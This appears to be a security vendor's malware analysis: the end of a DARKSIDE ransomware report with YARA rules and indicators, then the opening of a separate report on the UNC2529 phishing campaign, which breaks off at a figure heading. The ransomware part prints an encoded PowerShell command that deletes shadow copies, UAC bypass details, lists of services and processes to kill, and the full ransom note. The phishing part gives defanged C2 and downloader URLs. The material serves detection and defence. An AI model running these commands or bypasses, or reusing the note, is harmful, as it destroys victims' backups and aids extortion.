Yes

Ignore specific files

0x0E

Yes

Ignore specific file extensions

0x0F

Yes

Feature not used; related to these strings: "backup" and "here_backups"

0x10

Yes

Feature not used: related to these strings: "sql" and "sqlite"

0x11

Yes

Terminate processes

0x12

Yes

Stop services

0x13

Yes

Feature not used; related to a buffer that contains the repeated string "blah"

0x14

Yes

Drop ransom note

0x15

Yes

Create a mutex

Table 2: Configuration bits

UAC Bypass

If the malware does not have elevated privileges, it attempts to perform one of two User Account Control (UAC) bypasses based on the operating system (OS) version. If the OS is older than Windows 10, the malware uses a documented slui.exe file handler hijack technique. This involves setting the registry value HKCU\Software\Classes\exefile\shell\open\command\Default to the malware path and executing slui.exe using the verb "runas."

If the OS version is Windows 10 or newer, the malware attempts a UAC bypass that uses the CMSTPLUA COM interface. The decrypted strings listed in Figure 7 are used to perform this technique.

Elevation:Administrator!new:
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}

Figure 7: Decrypted UAC bypass strings

Encryption Setup

The malware generates a pseudo-random file extension based on a MAC address on the system. In a DARKSIDE version observed in May 2021, the file extension is generated using a MachineGuid registry value as a seed rather than the MAC address. The file extension consists of eight lowercase hexadecimal characters (e.g., ".e98fc8f7") and is referred to as <ransom_ext>. The file extension generation algorithm has been recreated in Python. If logging is enabled, the malware creates the log file LOG<ransom_ext>.TXT in its current directory.

The malware supports the command line argument "-path," which allows an attacker to specify a directory to target for encryption.

The sample analyzed for this report is not configured to perform a system language check. If this functionality were enabled and the check succeeded, the string "This is a Russian-Speaking System, Exit" would be written to the log file and the malware would exit.

Anti-Recovery Techniques

The malware locates and empties Recycle Bins on the system. If the process is running under WOW64, it executes the PowerShell command in Figure 8 using CreateProcess to delete volume shadow copies.

powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"

Figure 8: Encoded PowerShell command

The decoded command from Figure 4 is "Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();}." If the malware is not running under WOW64, it uses COM objects and WMI commands to delete volume shadow copies. The decrypted strings in Figure 9 are used to facilitate this process.

root/cimv2
SELECT * FROM Win32_ShadowCopy
Win32_ShadowCopy.ID='%s'

Figure 9: Decrypted strings related to shadow copy deletion

System Manipulation

Any service the name of which contains one of the strings listed in Figure 10 is stopped and deleted.

vss
sql
svc$
memtas
mepocs
sophos
veeam
backup

Figure 10: Service-related strings

The version observed in May 2021 is additionally configured to stop and delete services containing the strings listed in Figure 11.

GxVss
GxBlr
GxFWD
GxCVD
GxCIMgr

Figure 11: Additional service-related strings in May version

Any process name containing one of the strings listed in Figure 12 is terminated.

sql
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlplussvc
xfssvccon
mydesktopservice
ocautoupds
encsvc
firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad

Figure 12: Process-related strings

File Encryption

Based on its configuration, the malware targets fixed and removable disks as well as network shares. Some processes may be terminated so associated files can be successfully encrypted. However, the malware does not terminate processes listed in Figure 13.

vmcompute.exe
vmms.exe
vmwp.exe
svchost.exe
TeamViewer.exe
explorer.exe

Figure 13: Processes not targeted for termination

The malware uses the strings listed in Figure 14 to ignore certain directories during the encryption process.

windows
appdata
application data
boot
google
mozilla
program files
program files (x86)
programdata
system volume information
tor browser
windows.old
intel
msocache
perflogs
x64dbg
public
all users
default

Figure 14: Strings used to ignore directories

The files listed in Figure 15 are ignored.

$recycle.bin
config.msi
$windows.~bt
$windows.~ws

Figure 15: Ignored files

The version observed in May 2021 is additionally configured to ignore the files listed in Figure 16.

autorun.inf
boot.ini
bootfont.bin
bootsect.bak
desktop.ini
iconcache.db
ntldrntuser.dat
ntuser.dat
logntuser.ini
thumbs.db

Figure 16: Additional ignored files in May version

Additional files are ignored based on the extensions listed in Figure 17.

.386, .adv, .ani, .bat, .bin, .cab, .cmd, .com, .cpl, .cur, .deskthemepack, .diagcab, .diagcfg, .diagpkg, .dll, .drv, .exe, .hlp, .icl, .icns, .ico, .ics, .idx, .ldf, .lnk, .mod, .mpa, .msc, .msp, .msstyles, .msu, .nls, .nomedia, .ocx, .prf, .ps1, .rom, .rtp, .scr, .shs, .spl, .sys, .theme, .themepack, .wpx, .lock, .key, .hta, .msi, .pdb

Figure 17: Ignored file extensions

Files are encrypted using Salsa20 and a key randomly generated using RtlRandomEx. Each key is encrypted using the embedded RSA-1024 public key.

Ransom Note

The malware writes the ransom note shown in Figure 18 to README<ransom_ext>.TXT files written to directories it traverses.

----------- [ Welcome to Dark ] ------------->

What happend?
----------------------------------------------
Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.
But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.
Follow our instructions below and you will recover all your data.

Data leak
----------------------------------------------
First of all we have uploaded more then 100 GB data.

Example of data:
 - Accounting data
 - Executive data
 - Sales data
 - Customer Support data
 - Marketing data
 - Quality data
 - And more other...

Your personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED>
The data is preloaded and will be automatically published if you do not pay.
After publication, your data will be available for at least 6 months on our tor cdn servers.

We are ready:
- To provide you the evidence of stolen data
- To give you universal decrypting tool for all encrypted files.
- To delete all the stolen data.

What guarantees?
----------------------------------------------
We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.
All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.
We guarantee to decrypt one file for free. Go to the site and contact us.

How to get access on website?
----------------------------------------------
Using a TOR browser:
1) Download and install TOR browser from this site: https://torproject.org/
2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>

When you open our website, put the following data in the input form:
Key:
<REDACTED>

!!! DANGER !!!
DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them.
!!! DANGER !!!

Figure 18: Ransom note

Decrypted Strings

Global\XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
https://google.com/api/version
https://yahoo.com/v2/api
sql
sqlite
$recycle.bin
config.msi
$windows.~bt
$windows.~ws
windows
appdata
application data
boot
google
mozilla
program files
program files (x86)
programdata
system volume information
tor browser
windows.old
intel
msocache
perflogs
x64dbg
public
all users
default
386
adv
ani
bat
bin
cab
cmd
com
cpl
cur
deskthemepack
diagcab
diagcfg
diagpkg
dll
drv
exe
hlp
icl
icns
ico
ics
idx
ldf
lnk
mod
mpa
msc
msp
msstyles
msu
nls
nomedia
ocx
prf
ps1
rom
rtp
scr
shs
spl
sys
theme
themepack
wpx
lock
key
hta
msi
pdb
vmcompute.exe
vmms.exe
vmwp.exe
svchost.exe
TeamViewer.exe
explorer.exe
oracle
ocssd
dbsnmp
synctime
agntsvc
isqlplussvc
xfssvccon
mydesktopservice
ocautoupds
encsvc
firefox
tbirdconfig
mydesktopqos
ocomm
dbeng50
sqbcoreservice
excel
infopath
msaccess
mspub
onenote
outlook
powerpnt
steam
thebat
thunderbird
visio
winword
wordpad
notepad
vss
sql
svc$
memtas
mepocs
sophos
veeam
backup
\r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahbl
ahblahblahblahblahblahblahblahblahblah\r\nblahblahblahblahblahblahblahblahblahblahblahblahblahblah
blahblah\r\nblahblahblah\r\n
\r\n----------- [ Welcome to Dark ] ------------->\r\n\r\nWhat happend?\r\n----------------------------------------------\r\nYour computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data.\r\nBut you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network.\r\nFollow our instructions below and you will recover all your data.\r\n\r\nData leak\r\n----------------------------------------------\r\nFirst of all we have uploaded more then 100 GB data.\r\n\r\nExample of data:\r\n - Accounting data\r\n - Executive data\r\n - Sales data\r\n - Customer Support data\r\n - Marketing data\r\n - Quality data\r\n - And more other...\r\n\r\nYour personal leak page: http://darksidedxcftmqa[.]onion/blog/article/id/6/<REDACTED>The data is preloaded and will be automatically published if you do not pay.\r\nAfter publication, your data will be available for at least 6 months on our tor cdn servers.\r\n\r\nWe are ready:\r\n- To provide you the evidence of stolen data\r\n- To give you universal decrypting tool for all encrypted files.\r\n- To delete all the stolen data.\r\n\r\nWhat guarantees?\r\n----------------------------------------------\r\nWe value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests.\r\nAll our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems.\r\nWe guarantee to decrypt one file for free. Go to the site and contact us.\r\n\r\nHow to get access on website? \r\n----------------------------------------------\r\nUsing a TOR browser:\r\n1) Download and install TOR browser from this site: https://torproject.org/\r\n2) Open our website: http://darksidfqzcuhtk2[.]onion/<REDACTED>\r\n\r\nWhen you open our website, put the following data in the input form:\r\nKey:\r\<REDACTED>\r\n\r\n!!! DANGER !!!\r\nDO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. \r\n!!! DANGER !!!\r\n
-path
INF
DBG
/C DEL /F /Q
 >> NUL
ComSpec
README
.TXT
Start Encrypting Target Folder
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
This is a Russian-Speaking System, Exit
System Language Check
Encrypting Network Shares
Encrypting Local Disks
README
.TXT
Encrypt Mode - AUTO
Started %u I/O Workers
Encrypted %u file(s)
Start Encrypt
[Handle %u]
File Encrypted Successful
Encrypt Mode - FAST
Encrypt Mode - FULL
Terminating Processes
Deleting Shadow Copies
Uninstalling Services
Emptying Recycle Bin
This is a Russian-Speaking System, Exit
System Language Check
Start Encrypting All Files
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F7763
6F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2
*$_,2))};iex $s"
root/cimv2
WQL
SELECT * FROM Win32_ShadowCopy
ID
Win32_ShadowCopy.ID='%s'
.exe
LOG%s.TXT
README%s.TXT
Software\Classes\exefile\shell\open\command
\slui.exe
runas
Elevation:Administrator!new:
{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
explorer.exe

Figure 19: Decrypted strings

Appendix B: Indicators for Detection and Hunting

Yara Detections

The following YARA rules are not intended to be used on production systems or to inform blocking rules without first being validated through an organization's own internal testing processes to ensure appropriate performance and limit the risk of false positives. These rules are intended to serve as a starting point for hunting efforts to identify related activity; however, they may need adjustment over time if the malware family changes.

rule Ransomware_Win_DARKSIDE_v1__1
{
    meta:
        author = “FireEye”
        date_created = “2021-03-22”
        description = “Detection for early versions of DARKSIDE ransomware samples based on the encryption mode configuration values.”
        md5 = “1a700f845849e573ab3148daef1a3b0b”   
    strings:
        $consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }
    condition:
        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $consts
}

Figure 20: DARKSIDE YARA rule

rule Dropper_Win_Darkside_1
{
    meta:
        author = "FireEye"
        date_created = "2021-05-11"
        description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
    strings:
        $CommonDLLs1 = "KERNEL32.dll" fullword
        $CommonDLLs2 = "USER32.dll" fullword
        $CommonDLLs3 = "ADVAPI32.dll" fullword
        $CommonDLLs4 = "ole32.dll" fullword
        $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
        $KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
        $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
    condition:
        filesize < 2MB and filesize > 500KB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes
}

Figure 21: DARKSIDE Dropper YARA rule

rule Backdoor_Win_C3_1
{
    meta:
        author = “FireEye”
        date_created = "2021-05-11"
        description = "Detection to identify the Custom Command and Control (C3) binaries."
        md5 = "7cdac4b82a7573ae825e5edb48f80be5"
    strings:
        $dropboxAPI = "Dropbox-API-Arg"
        $knownDLLs1 = "WINHTTP.dll" fullword
        $knownDLLs2 = "SHLWAPI.dll" fullword
        $knownDLLs3 = "NETAPI32.dll" fullword
        $knownDLLs4 = "ODBC32.dll" fullword
        $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
        $tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
        $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
    condition:
        filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*)))

Figure 22: Custom Command and Control (C3) YARA rule

Detecting DARKSIDE

FireEye products detect this activity at multiple stages of the attack lifecycle. The following table contains specific detections intended to identify and prevent malware and methods seen at these intrusions. For brevity, this list does not include FireEye’s existing detections for BEACON, BloodHound/SharpHound, and other common tools and malware that FireEye has observed both in this campaign and across a broad range of intrusion operations

Platform(s)

Detection Name

Network Security
Email Security
Detection On Demand
Malware Analysis
File Protect

  • Ransomware.SSL.DarkSide
  • Trojan.Generic
  • Ransomware.Linux.DARKSIDE
  • Ransomware.Win.Generic.MVX
  • Ransomware.Win.DARKSIDE.MVX
  • Ransomware.Linux.DARKSIDE.MVX
  • Ransomware.Win32.DarkSide.FEC3
  • FE_Ransomware_Win_DARKSIDE_1
  • FE_Ransomware_Win32_DARKSIDE_1
  • FE_Ransomware_Linux64_DARKSIDE_1
  • FE_Ransomware_Linux_DARKSIDE_1
  • FEC_Trojan_Win32_Generic_62
  • FE_Loader_Win32_Generic_177
  • FE_Loader_Win32_Generic_197
  • FE_Backdoor_Win_C3_1
  • FE_Backdoor_Win32_C3_1
  • FE_Backdoor_Win32_C3_2
  • FE_Backdoor_Win_C3_2
  • Backdoor.Win.C3
  • FE_Dropper_Win_Darkside_1

Endpoint Security

Real-Time (IOC)

  • BABYMETAL (BACKDOOR)
  • DARKSIDE RANSOMWARE (FAMILY)
  • SUSPICIOUS POWERSHELL USAGE (METHODOLOGY)
  • SUSPICIOUS POWERSHELL USAGE B (METHODOLOGY)

Malware Protection(AV/MG)

  • Generic.mg.*
  • Gen:Heur.FKP.17
  • Gen:Heur.Ransom.RTH.1
  • Gen:[email protected]
  • Gen:Variant.Razy.*
  • Trojan.CobaltStrike.CB
  • Trojan.GenericKD.*
  • Trojan.Linux.Ransom.H

UAC Protect

  • Malicious UAC bypass program detected

Helix

  • VPN ANALYTICS [Abnormal Logon]
  • WINDOWS ANALYTICS [Abnormal RDP Logon]
  • TEAMVIEWER CLIENT [User-Agent]
  • WINDOWS METHODOLOGY [Plink Reverse Tunnel]
  • WINDOWS METHODOLOGY - SERVICES [PsExec]

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.

VID

Title

A101-700 

Malicious File Transfer - DARKSIDE, Download, Variant #2 

A101-701 

Malicious File Transfer - DARKSIDE, Download, Variant #3 

A101-702 

Malicious File Transfer - DARKSIDE, Download, Variant #4 

A101-703 

Malicious File Transfer - DARKSIDE, Download, Variant #5 

A101-704 

Malicious File Transfer - DARKSIDE, Download, Variant #6 

A101-705 

Malicious File Transfer - DARKSIDE, Download, Variant #7 

A101-706 

Malicious File Transfer - DARKSIDE, Download, Variant #8 

A101-707 

Malicious File Transfer - DARKSIDE, Download, Variant #9 

A101-708 

Malicious File Transfer - DARKSIDE, Download, Variant #10 

A101-709 

Malicious File Transfer - DARKSIDE, Download, Variant #11 

A101-710 

Malicious File Transfer - DARKSIDE, Download, Variant #12 

A101-711 

Malicious File Transfer - DARKSIDE, Download, Variant #13 

A101-712 

Malicious File Transfer - DARKSIDE, Download, Variant #14 

A101-713 

Malicious File Transfer - DARKSIDE, Download, Variant #15 

A101-714 

Malicious File Transfer - DARKSIDE, Download, Variant #16 

A101-715 

Malicious File Transfer - DARKSIDE, Download, Variant #17 

A101-716 

Malicious File Transfer - DARKSIDE, Download, Variant #18 

A101-717 

Malicious File Transfer - DARKSIDE, Download, Variant #19 

A101-718 

Malicious File Transfer - DARKSIDE, Download, Variant #20 

A101-719 

Malicious File Transfer - DARKSIDE, Download, Variant #21 

A101-720 

Malicious File Transfer - DARKSIDE, Download, Variant #22 

A101-721 

Malicious File Transfer - DARKSIDE, Download, Variant #23 

A101-722 

Malicious File Transfer - DARKSIDE, Download, Variant #24 

A101-723 

Malicious File Transfer - DARKSIDE, Download, Variant #25 

A101-724 

Malicious File Transfer - DARKSIDE, Download, Variant #26 

A101-725 

Malicious File Transfer - DARKSIDE, Download, Variant #27 

A101-726 

Malicious File Transfer - DARKSIDE, Download, Variant #28 

A101-727 

Malicious File Transfer - DARKSIDE, Download, Variant #29 

A101-728 

Malicious File Transfer - DARKSIDE, Download, Variant #30 

A101-729 

Malicious File Transfer - DARKSIDE, Download, Variant #31 

A101-730 

Malicious File Transfer - DARKSIDE, Download, Variant #32 

A101-731 

Malicious File Transfer - DARKSIDE, Download, Variant #33 

A101-732 

Malicious File Transfer - DARKSIDE, Download, Variant #34 

A101-733 

Malicious File Transfer - DARKSIDE, Download, Variant #35 

A101-734 

Malicious File Transfer - DARKSIDE, Download, Variant #36 

A101-735 

Malicious File Transfer - NGROK, Download, Variant #1 

A101-736 

Malicious File Transfer - UNC2465, LNK Downloader for SMOKEDHAM, Download 

A101-737 

Malicious File Transfer - BEACON, Download, Variant #3 

A101-738 

Data Exfiltration - RCLONE, Exfil Over SFTP 

A101-739 

Malicious File Transfer - RCLONE, Download, Variant #2 

A101-740 

Command and Control - DARKSIDE, DNS Query, Variant #1 

A101-741 

Command and Control - DARKSIDE, DNS Query, Variant #2 

A101-742 

Application Vulnerability - SonicWall, CVE-2021-20016, SQL Injection 

A104-771 

Protected Theater - DARKSIDE, PsExec Execution 

A104-772 

Host CLI - DARKSIDE, Windows Share Creation 

A104-773 

Protected Theater - DARKSIDE, Delete Volume Shadow Copy 

Related Indicators

UNC2628

Indicator

Description

104.193.252[.]197:443

BEACON C2

162.244.81[.]253:443

BEACON C2

185.180.197[.]86:443

BEACON C2

athaliaoriginals[.]com

BEACON C2

lagrom[.]com

BEACON C2

ctxinit.azureedge[.]net

BEACON C2

45.77.64[.]111

Login Source

181ab725468cc1a8f28883a95034e17d

BEACON Sample

UNC2659

Indicator

Description

173.234.155[.]208

Login Source

UNC2465

Indicator

Description

81.91.177[.]54 :7234

Remote Access

koliz[.]xyz

File Hosting

los-web[.]xyz

EMPIRE C2

sol-doc[.]xyz

Malicious Infrastructure

hxxp://sol-doc[.]xyz/sol/ID-482875588

Downloader URL

6c9cda97d945ffb1b63fd6aabcb6e1a8

Downloader LNK

7c8553c74c135d6e91736291c8558ea8

VBS Launcher

27dc9d3bcffc80ff8f1776f39db5f0a4

Ngrok Utility

DARKSIDE Ransomware Encryptor

DARKSIDE Sample MD5

04fde4340cc79cd9e61340d4c1e8ddfb

0e178c4808213ce50c2540468ce409d3

0ed51a595631e9b4d60896ab5573332f

130220f4457b9795094a21482d5f104b

1a700f845849e573ab3148daef1a3b0b

1c33dc87c6fdb80725d732a5323341f9

222792d2e75782516d653d5cccfcf33b

29bcd459f5ddeeefad26fc098304e786

3fd9b0117a0e79191859630148dcdc6d

47a4420ad26f60bb6bba5645326fa963

4d419dc50e3e4824c096f298e0fa885a

5ff75d33080bb97a8e6b54875c221777

66ddb290df3d510a6001365c3a694de2

68ada5f6aa8e3c3969061e905ceb204c

69ec3d1368adbe75f3766fc88bc64afc

6a7fdab1c7f6c5a5482749be5c4bf1a4

84c1567969b86089cc33dccf41562bcd

885fc8fb590b899c1db7b42fe83dddc3

91e2807955c5004f13006ff795cb803c

9d418ecc0f3bf45029263b0944236884

9e779da82d86bcd4cc43ab29f929f73f

a3d964aaf642d626474f02ba3ae4f49b

b0fd45162c2219e14bdccab76f33946e

b278d7ec3681df16a541cf9e34d3b70a

b9d04060842f71d1a8f3444316dc1843

c2764be55336f83a59aa0f63a0b36732

c4f1a1b73e4af0fbb63af8ee89a5a7fe

c81dae5c67fb72a2c2f24b178aea50b7

c830512579b0e08f40bc1791fc10c582

cfcfb68901ffe513e9f0d76b17d02f96

d6634959e4f9b42dfc02b270324fa6d9

e44450150e8683a0addd5c686cd4d202

f75ba194742c978239da2892061ba1b4

f87a2e1c3d148a67eaeb696b1ab69133

f913d43ba0a9f921b1376b26cd30fa34

f9fc1a1a95d5723c140c2a8effc93722

The UNC2529 Triple Double: A Trifecta Phishing Campaign

4 May 2021 at 14:00

In December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations across an array of industries. Mandiant tracks this threat actor as UNC2529. Based on the considerable infrastructure employed, tailored phishing lures and the professionally coded sophistication of the malware, this threat actor appears experienced and well resourced. This blog post will discuss the phishing campaign, identification of three new malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a deep dive into their functionality, present an overview of the actor’s modus operandi and our conclusions. A future blog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to highlight the malware evolution.

UNC2529 Phishing Overview

Mandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020.

During the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though targeting was likely broader than directly observed. These emails were sent using 26 unique email addresses associated with the domain tigertigerbeads<.>com, and in only a small number of cases did we see the same address used across multiple recipient organizations. These phishing emails contained inline links to malicious URLs such as, hxxp://totallyhealth-wealth[.]com/downld-id_mw<redacted>Gdczs, engineered to entice the victim to download a file. UNC2529 employed at least 24 different domains to support this first, of a three-stage process.

The structure of URLs embedded in these phishing emails had the following patterns, where the string was an alphabetic variable of unknown function.

http://<fqdn>/downld-id_<string>
http://<fqdn>/downld-id-<string>
http://<fqdn>/files-upload_<string>
http://<fqdn>/files-upload-<string>
http://<fqdn>/get_file-id_<string>
http://<fqdn>/get_file-id-<string>
http://<fqdn>/zip_download_<string>
http://<fqdn>/zip_download-<string>

The first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt decoy PDF document and a heavily obfuscated JavaScript downloader. Mandiant tracks the downloader as DOUBLEDRAG. Interestingly, the PDF documents were obtained from public websites, but corrupted by removing bytes to render them unreadable with a standard PDF viewer. It is speculated that the victim would then attempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply double clicking on the file. All but one of the file name patterns for the ZIP, PDF and JS files were document_<state>_client-id_<4 digit number>.extension, such as “document_Ohio_client-id_8902.zip”.

Each of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage memory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh[.]com/update_java.dat or hxxp://clanvisits[.]com/mini.dat. The downloaded file is a heavily obfuscated PowerShell script that will launch a backdoor into memory. Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK samples observed during the phishing campaign beaconed to hxxps://klikbets[.]net/admin/client.php and hxxps://lasartoria[.]net/admin/client.php.

Prior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and cooling services company, modified DNS entries and leveraged that infrastructure to phish at least 22 organizations, five of which were also targeted in the first wave. It is not currently known how the legitimate domain was compromised. The threat actor used 20 newly observed domains to host the second-stage payload. 

The threat actor made slight modifications to the URL pattern during the second wave.

http://<fqdn>/<string>
http://<fqdn>/dowld_<string>
http://<fqdn>/download_<string>
http://<fqdn>/files_<string>
http://<fqdn>/id_<string>
http://<fqdn>/upld_<string>

Of note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel document containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format (BIFF8). When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels[.]com/ps1.dat. The core functionality of the DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file from a hardcoded URL. This Excel file was also found within Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding corrupt decoy PDF document. 

Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware repository, which revealed additional command and control servers (C2), hxxps://barrel1999[.]com/admin4/client.php, hxxps://widestaticsinfo[.]com/admin4/client.php, hxxps://secureinternet20[.]com/admin5/client.php, and hxxps://adsinfocoast[.]com/admin5/client.php. Three of these domains were registered after the observed second wave.

Tailored Targeting

UNC2529 displayed indications of target research based on their selection of sender email addresses and subject lines which were tailored to their intended victims. For example, UNC2529 used a unique username, masquerading as an account executive for a small California-based electronics manufacturing company, which Mandiant identified through a simple Internet search. The username of the email address was associated with both sender domains, tigertigerbeads<.>com and the compromised HVAC company. Masquerading as the account executive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive and military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the products of the California-based electronics manufacturing company.

Another example is a freight / transport company that received a phish with subject, “compton ca to flowery branch ga”, while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject line.

A utility company received a phish with subject, “easement to bore to our stairwell area.”

While not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique, as shown in Table 1.

Subject Lure

Wave

re: <redacted> outdoors environment (1 out of 3)

1st

accepted: follow up with butch & karen

1st

re: appraisal for <redacted> - smysor rd

2nd

re: <redacted> financing

2nd

Table 1: Sample financial industry subject lures

Several insurance companies that were targeted saw less specific subjects, but still appropriate for the industry, such as those in Table 2.

Subject Lure

Wave

fw: certificate of insurance

1st

fw: insurance for plow

1st

please get this information

1st

question & number request

1st

claim status

2nd

applications for medicare supplement & part d

2nd

Table 2: Sample insurance industry subject lures

Interestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a local water authority and an ongoing water project. While no public information was found to tie the company to the other organization or project, the subject appeared to be very customized.

Some patterns were observed, as seen in Table 3. Additionally, UNC2529 targeted the same IT services organization in both waves using the same lure (1 and 5 in Table 3). Most of the phishing emails with lures containing “worker” targeted U.S. organizations. As “worker” isn’t a common way to refer to an employee in the U.S., this may indicate a non-native American English speaker.

Subject Lure

Wave

dear worker, your work # ujcb0utczl

1st

good day worker, your job number- 8ldbsq6ikd

1st

hello worker, your work number- u39hbutlsf

1st

good day candidate, your vacancy # xcmxydis4s

2nd

dear worker, your work # ujcb0utczl

2nd

Table 3: Sample pattern subject lures

Industry and Regional Targeting

UNC2529’s phishing campaign was both global and impacted an array of industries (Industry and Regional Targeting graphics are greater than 100% due to rounding). While acknowledging some telemetry bias, in both waves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in the first wave, as shown in Figure 1.


Figure 1: UNC2529 phishing campaign, first wave

In the second wave, EMEA’s percentage increased the most, while the U.S. dropped slightly, and Asia and Australia remained at close to the same level, as illustrated in Figure 2. 


Figure 2: UNC2529 phishing campaign, second wave

Although Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries and geographies is consistent with a targeting calculus most commonly seen among financially motivated groups.

Technical Analysis

Overview

The Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG) (or alternatively an Excel document with an embedded macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As described in the previous section, the initial infection vector starts with phishing emails that contain a link to download a malicious payload that contains an obfuscated JavaScript downloader. Once executed, DOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper. The dropper, DOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the backdoor DOUBLEBACK. The dropper performs the initial setup that establishes the backdoor’s persistence on the compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then executing it. The backdoor, once it has the execution control, loads its plugins and then enters a communication loop, fetching commands from its C2 server and dispatching them. One interesting fact about the whole ecosystem is that only the downloader exists in the file system. The rest of the components are serialized in the registry database, which makes their detection somewhat harder, especially by file-based antivirus engines.

Ecosystem in Details

DOUBLEDRAG Downloader component

The downloader is implemented as a heavily obfuscated JavaScript code. Despite the relatively large amount of the code, it boils down to the following snippet of code (Figure 3), after de-obfuscation.

